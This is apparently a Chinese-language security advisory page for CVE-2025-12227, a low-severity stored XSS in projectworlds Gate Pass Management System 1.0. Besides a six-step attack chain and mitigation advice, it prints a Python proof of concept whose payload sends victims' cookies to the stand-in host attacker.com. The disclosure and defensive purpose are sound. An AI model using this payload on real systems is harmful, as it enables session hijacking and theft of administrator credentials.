IPBUF安全漏洞报告
English
CVE-2025-12227 CVSS 3.5 低危

CVE-2025-12227 | Gate Pass Management System 1.0 /add-pass.php XSS漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12227
漏洞类型
XSS跨站脚本攻击
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
projectworlds Gate Pass Management System 1.0

相关标签

CVE-2025-12227XSS跨站脚本Gate Pass Management Systemprojectworlds存储型XSS/add-pass.php低危漏洞

漏洞概述

CVE-2025-12227是projectworlds公司开发的Gate Pass Management System 1.0版本中存在的一个跨站脚本(XSS)安全漏洞。该漏洞位于/add-pass.php文件中,攻击者可以通过构造恶意的输入数据,在受害者浏览器中执行任意JavaScript代码。由于该漏洞需要低权限认证且需要用户交互才能触发,因此CVSS评分仅为3.5分,属于低危级别。Gate Pass Management System是一款用于管理门禁通行记录的管理系统,通常应用于企业、学校、社区等场所的门禁管理场景。该系统处理用户输入时未对特殊字符进行充分的过滤和转义处理,导致恶意脚本可以被存储并在后续页面访问时执行。此漏洞已于2025年10月27日公开披露,攻击代码已被公开利用可能,对使用该系统的组织构成一定的安全风险。

技术细节

该漏洞为存储型XSS(Stored XSS)漏洞,存在于Gate Pass Management System 1.0的/add-pass.php文件中。漏洞产生的根本原因是应用程序在处理用户提交的表单数据时,未对用户输入进行充分的输入验证和输出编码。当攻击者向/add-pass.php提交包含恶意JavaScript代码的请求时,这些恶意代码会被存储在服务器端数据库或文件系统中。当其他用户(如管理员)访问包含该恶意数据的页面时,浏览器会解析并执行这些脚本代码。攻击者可利用此漏洞窃取受害者的会话Cookie、劫持用户会话、进行钓鱼攻击或植入恶意重定向。由于CVSS向量显示该漏洞需要低权限用户身份(PR:L)且需要用户交互(UI:R),攻击者需要先获取系统账户,然后诱使管理员访问特定页面才能完成攻击。虽然该漏洞的CVSS评分较低,但结合门禁管理系统的业务场景,攻击成功后可能导致敏感通行数据泄露或系统权限被滥用。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者通过搜索引擎或漏洞库发现Gate Pass Management System 1.0的/add-pass.php页面存在XSS漏洞
STEP 2
步骤2: 账户获取
攻击者通过暴力破解、弱口令扫描或社工手段获取系统的低权限用户账户(CVSS要求PR:L)
STEP 3
步骤3: 恶意payload注入
使用低权限账户登录系统后,向/add-pass.php提交包含XSS恶意代码的表单数据,payload被存储在数据库中
STEP 4
步骤4: 诱导管理员访问
攻击者诱使管理员访问包含恶意数据的通行记录页面(CVSS要求UI:R用户交互)
STEP 5
步骤5: 恶意代码执行
管理员浏览器解析页面时执行存储的XSS恶意脚本,窃取管理员Cookie或会话信息
STEP 6
步骤6: 会话劫持
攻击者利用窃取的Cookie冒充管理员身份登录系统,可能获取更高权限或敏感通行数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12227 PoC - Stored XSS in Gate Pass Management System # Affected: /add-pass.php # CVSS: 3.5 (AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N) import requests import sys target_url = "http://target-server/add-pass.php" # Malicious XSS payload xss_payload = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" # Form data for the add-pass functionality form_data = { "pass_type": "visitor", "visitor_name": f"Test User {xss_payload}", "visitor_id": "123456", "purpose": "Testing", "entry_time": "2025-01-01 10:00", "exit_time": "2025-01-01 12:00", "submit": "1" } try: print("[*] Sending XSS payload to /add-pass.php...") response = requests.post(target_url, data=form_data, timeout=10) if response.status_code == 200: print("[+] Payload submitted successfully") print("[*] Payload will execute when admin views the pass list") print(f"[*] Payload: {xss_payload}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}")

影响范围

projectworlds Gate Pass Management System 1.0

防御指南

临时缓解措施
在厂商发布修复版本之前,可采取以下临时缓解措施:1)禁用系统的/add-pass.php功能或限制其访问权限;2)在Web应用防火墙(WAF)上配置XSS防护规则,对包含<script>、javascript:等关键字的请求进行拦截;3)启用浏览器的XSS过滤器功能;4)定期检查系统日志,及时发现异常访问和注入行为;5)对管理员账户启用双因素认证,降低会话被劫持后的危害程度。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表